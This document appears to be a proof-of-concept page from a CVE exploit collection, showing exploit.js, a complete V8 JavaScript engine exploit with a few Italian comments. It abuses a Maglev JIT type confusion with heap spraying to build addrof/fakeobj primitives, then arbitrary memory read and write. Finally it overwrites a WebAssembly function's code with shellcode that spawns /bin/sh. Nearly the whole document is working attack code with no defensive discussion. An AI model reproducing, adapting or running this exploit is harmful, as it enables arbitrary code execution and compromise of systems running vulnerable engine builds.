5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u64 = new BigUint64Array(buf);

function itof(x) {
  u64[0] = BigInt.asUintN(64, x);
  return f64[0];
}

function ftoi(x) {
  f64[0] = x;
  return u64[0];
}

function hex(x) {
  return "0x" + x.toString(16);
}

const MAX_SMI = 0x3fffffff;
const WARMUP_ITERS = 1200;
const MAX_ATTEMPTS = 2;
const SPRAY_ROUNDS = 1500;
const SPRAY_COUNT = 50;
const PRE_PADS = 0;
const POST_PADS = 16;
const SPRAY_ARRAY_LEN = 16;

const QWORD1_BITS = 0x0000000401022bd5n;
const BOOTSTRAP_QWORD0 = 4.2885618090673e-311;
const BOOTSTRAP_QWORD1 = itof(QWORD1_BITS);
const EMPTY_FIXED_ARRAY = 0x000007e5n;
const PACKED_DOUBLE_ARRAY_MAP = 0x0100d0d5n;
const FAKE_DOUBLE_ARRAY_LENGTH_SMI = 0x20n;
const BACKING_ELEMENTS = (QWORD1_BITS & 0xffffffffn) - 0x10n;
const BACKING_PAYLOAD = BACKING_ELEMENTS + 0x7n;
const FAKE_DOUBLE_ARRAY_ADDR = BACKING_PAYLOAD + 0x1n;

function sleep(ms) {
  const sab = new SharedArrayBuffer(4);
  const view = new Int32Array(sab);
  Atomics.wait(view, 0, 0, ms);
}

function blah(o, a, b, x) {
  let y;
  if (a) {
    y = x + 1;
  } else {
    y = 1;
  }

  const t = y | 0;

  let z;
  if (b) {
    z = y;
  } else {
    z = 1;
  }

  o.x = z;
  return t;
}

function make_arr() {
  const arr = []
  for (let i = 0; i < SPRAY_ARRAY_LEN; i++) {
    const useHeaderQword = (i % 2) === 0
    arr.push(useHeaderQword ? BOOTSTRAP_QWORD0 : BOOTSTRAP_QWORD1)
  }
  return arr
}

function spray() {
  for (let round = 0; round < SPRAY_ROUNDS; round++) {
    const tmp = []
    for (let i = 0; i < SPRAY_COUNT; i++) {
      tmp.push(make_arr())
    }
  }
}

const obj = { x: 1 }
const warmup = { x: 1 }
const backing = [13.371337, 37.1337, 73.7331, 31.3373]
const pads = []

for (let i = 0; i < PRE_PADS; i++) {
  pads.push({ x: 1 })
}

for (let i = 0; i < 4; i++) {
  gc()
}

// warmup. maglev should optimize it for smi
for (let i = 0; i < WARMUP_ITERS; i++) {
  blah(warmup, true, true, i & 1023);
  blah(warmup, false, true, i & 1023);
  blah(warmup, true, false, i & 1023);
}

sleep(20)

function runExploit() {
  for (let i = 0; i < PRE_PADS; i++) {
    blah(pads[i], true, true, MAX_SMI)
    pads[i].x = 1
  }

  blah(obj, true, true, MAX_SMI)

  for (let i = 0; i < POST_PADS; i++) {
    let tail = { x: 1 }
    blah(tail, true, true, MAX_SMI)
    tail.x = 1
    tail = null
  }

  gc({ type: "minor" });
  spray() // mega spray to fill the heap and get the right allocation

  // aumento reliablility con i controlli, non dovrebbe crashare
  const tag = typeof obj.x
  if (tag !== "object") {
    print("typeof obj.x =", tag)
    quit(1)
  }

  const fake = obj.x;
  if (!Array.isArray(fake)) {
    print("obj not array rip")
    quit(1)
  }

  const fakeLength = fake.length
  if (fakeLength !== 2) {
    print("bad fake length =", fakeLength)
    quit(1)
  }

  // primitives!!
  function addrof(v) {
    backing[2] = 0
    fake[0] = v // cio' che metto qui corrisponde a backing[2]
    return ftoi(backing[2]) & 0xffffffffn // quindi poi posso leggere l'addr di v
  }

  function fakeobj(addr) {  // l'esatto contrario
    backing[2] = itof(addr) // qui metto l'address, e siccome fake[0] interpreta backing[2] come obj
    return fake[0]  // qui ce l'ho come object
  }

  const targetA = {marker: 13.37}
  const targetB = {marker: 42.42}
  const addrA = addrof(targetA)
  const addrB = addrof(targetB)
  const fakeAOk = fakeobj(addrA) === targetA
  const fakeBOk = fakeobj(addrB) === targetB

  print("fakelen =", fakeLength)
  print("addrof(targetA) = 0x" + addrA.toString(16))
  print("addrof(targetB) = 0x" + addrB.toString(16))
  print("fakeobj(addrof(targetA)) === targetA:", fakeAOk)
  print("fakeobj(addrof(targetB)) === targetB: ", fakeBOk)

  if ((addrA !== addrB) && fakeAOk && fakeBOk) {
    print("godo")
    // js obj memory layout knowledge required from here lol
    // fake map e properties/elements for a fake double array
    const fakeDoubleHeader = (EMPTY_FIXED_ARRAY << 32n) | PACKED_DOUBLE_ARRAY_MAP
    // fake double array inside the controlled backing array
    backing[0] = itof(fakeDoubleHeader)
    backing[1] = itof((FAKE_DOUBLE_ARRAY_LENGTH_SMI << 32n) | BACKING_ELEMENTS)

    const arb = fakeobj(FAKE_DOUBLE_ARRAY_ADDR)
    // now arb is the fake arrray. editing elements offset means arb[0] points anywhere I want
    function setArbElements(rawAddr) {
      backing[1] = itof(
        (FAKE_DOUBLE_ARRAY_LENGTH_SMI << 32n) |
        ((rawAddr - 0x7n) & 0xffffffffn)
      )
    }

    function weakRead64(rawAddr) {  // ez arbitrary read. corrupt at elements offset and read raw bytes 
      setArbElements(rawAddr)
      return ftoi(arb[0])
    }

    function weakWrite64(rawAddr, value) {  // ez arbitrary write. same thing but write into it
      setArbElements(rawAddr)
      arb[0] = itof(value)
    }

    // testing
    const weakSelf = weakRead64(BACKING_PAYLOAD)
    print("weak self-read =", hex(weakSelf))
    if (weakSelf !== fakeDoubleHeader) {
      print("weak r/w setup failed")
      quit(1)
    }

    const weakVictim = [9.9, 8.8]
    const weakVictimAddr = addrof(weakVictim)
    const weakVictimLayout = weakRead64((weakVictimAddr - 0x1n) + 0x8n)
    const weakVictimElements = weakVictimLayout & 0xffffffffn
    weakWrite64(weakVictimElements + 0x7n, ftoi(13.37))
    print("weak write test =", weakVictim[0])
    if (weakVictim[0] !== 13.37) {
      print("weak write test failed")
      quit(1)
    }

    // strong r/w. even more knowledge required.
    // concept: create your own array buffer fake and r/w from it

    const victimBuf = new ArrayBuffer(0x40)
    const victimView = new DataView(victimBuf)
    victimView.setBigUint64(0, 0x1122334455667788n, true)
    victimView.setBigUint64(8, 0x99aabbccddeeff00n, true)

    const arbBuf = new ArrayBuffer(0x40)
    const arbView = new DataView(arbBuf)
    const victimBufAddr = addrof(victimBuf)
    const arbBufAddr = addrof(arbBuf)

    function getBackingStoreCandidates(arrayBufferAddr) {
      const candidates = []

      // searching native-looking ahh pointers in the arraybuf
      function addCandidate(off) {
        const field = (arrayBufferAddr - 0x1n) + off
        const value = weakRead64(field)
        if (value > 0x10000000000n && (value & 0x7n) === 0n) {
          candidates.push([off, field, value])
        }
      }

      addCandidate(0x24n)
      for (let off = 0x10n; off <= 0x38n; off += 0x4n) {
        if (off !== 0x24n) {
          addCandidate(off)
        }
      }

      return candidates
    }

    const victimBackingCandidates = getBackingStoreCandidates(victimBufAddr)
    if (victimBackingCandidates.length === 0) {
      print("ArrayBuffer backing_store not found")
      quit(1)
    }

    let strongBackingStoreField = 0n
    let strongVictimBackingStore = 0n

    // strong r/w by pointing arbBuf's backing store at the target address like before
    function strongRead64(addr) {
      weakWrite64(strongBackingStoreField, addr)
      return arbView.getBigUint64(0, true)
    }

    function strongWrite64(addr, value) {
      weakWrite64(strongBackingStoreField, addr)
      arbView.setBigUint64(0, value, true)
    }

    for (let i = 0; i < victimBackingCandidates.length; i++) {
      const candidate = victimBackingCandidates[i]
      strongBackingStoreField = (arbBufAddr - 0x1n) + candidate[0]
      strongVictimBackingStore = candidate[2]

      if (strongRead64(strongVictimBackingStore) !== 0x1122334455667788n) {
        continue
      }

      strongWrite64(strongVictimBackingStore + 0x8n, 0x4142434445464748n)
      if (victimView.getBigUint64(8, true) === 0x4142434445464748n) {
        break
      }

      victimView.setBigUint64(8, 0x99aabbccddeeff00n, true)
      strongBackingStoreField = 0n
      strongVictimBackingStore = 0n
    }

    if (strongBackingStoreField === 0n) {
      print("strong r/w setup failed")
      quit(1)
    }

    const strongReadTest = strongRead64(strongVictimBackingStore)
    print("strong read test =", hex(strongReadTest))
    if (strongReadTest !== 0x1122334455667788n) {
      print("strong read test failed")
      quit(1)
    }

    strongWrite64(strongVictimBackingStore + 0x8n, 0x4142434445464748n)
    const strongWriteTest = victimView.getBigUint64(8, true)
    print("strong write test =", hex(strongWriteTest))
    if (strongWriteTest !== 0x4142434445464748n) {
      print("strong write test failed")
      quit(1)
    }

    print("strong r/w ok")

    const wasmCode = new Uint8Array([
      0, 97, 115, 109, 1, 0, 0, 0,
      1, 5, 1, 96, 0, 1, 127,
      3, 2, 1, 0,
      7, 8, 1, 4, 109, 97, 105, 110, 0, 0,
      10, 6, 1, 4, 0, 65, 42, 11
    ])
    const wasmModule = new WebAssembly.Module(wasmCode)
    const wasmInstance = new WebAssembly.Instance(wasmModule)
    const wasmMain = wasmInstance.exports.main

    print("wasm before =", wasmMain())

    const wasmInstanceAddr = addrof(wasmInstance)
    const trustedDataTagged = weakRead64((wasmInstanceAddr - 0x1n) + 0x8n) >> 32n
    const jumpTableStart = weakRead64((trustedDataTagged - 0x1n) + 0x28n)

    print("wasm trusted_data =", hex(trustedDataTagged))
    print("wasm jump_table_start =", hex(jumpTableStart))
    const jumpStub = strongRead64(jumpTableStart)
    const jumpRel = (jumpStub >> 8n) & 0xffffffffn
    const wasmCodeEntry = jumpTableStart + 0x5n + jumpRel
    print("wasm code entry =", hex(wasmCodeEntry))

    strongWrite64(wasmCodeEntry + 0x00n, 0xbb48c03148d23148n)
    strongWrite64(wasmCodeEntry + 0x08n, 0x0068732f6e69622fn)
    strongWrite64(wasmCodeEntry + 0x10n, 0x89485750e7894853n)
    strongWrite64(wasmCodeEntry + 0x18n, 0x909090050f3bb0e6n)
    print("spawning /bin/sh")
    wasmMain()

    return true
  }

  print("rip :(")
  quit(1)
}

runExploit()